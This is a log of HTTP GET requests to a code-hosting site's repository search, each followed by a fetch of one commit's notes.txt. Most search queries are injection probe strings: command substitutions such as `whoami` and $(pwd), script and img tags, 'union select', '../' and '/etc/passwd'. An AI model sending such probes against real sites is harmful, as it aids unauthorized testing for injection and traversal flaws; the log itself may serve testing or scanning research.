{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=sed%20-i&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=sed%20-i&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%60make%20check%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%60make%20check%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%60whoami%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%60whoami%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=fetch%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=fetch%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24%7BVAR%7D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24%7BVAR%7D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24%28pwd%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24%28pwd%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=process.env&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=process.env&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3Cimg%20src%3D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3Cimg%20src%3D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3Cscript%3E&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3Cscript%3E&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=union%20select&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=union%20select&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=..%2F&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=..%2F&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fetc%2Fpasswd&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%2Fetc%2Fpasswd&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=eval%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=eval%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=chmod%20%2Bx&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=chmod%20%2Bx&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=echo%20%24PATH&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=echo%20%24PATH&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=java.lang.Runtime&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=java.lang.Runtime&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=document.cookie&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=document.cookie&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=alert%281%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=alert%281%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=__proto__&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=__proto__&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=Invoke-WebRequest&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
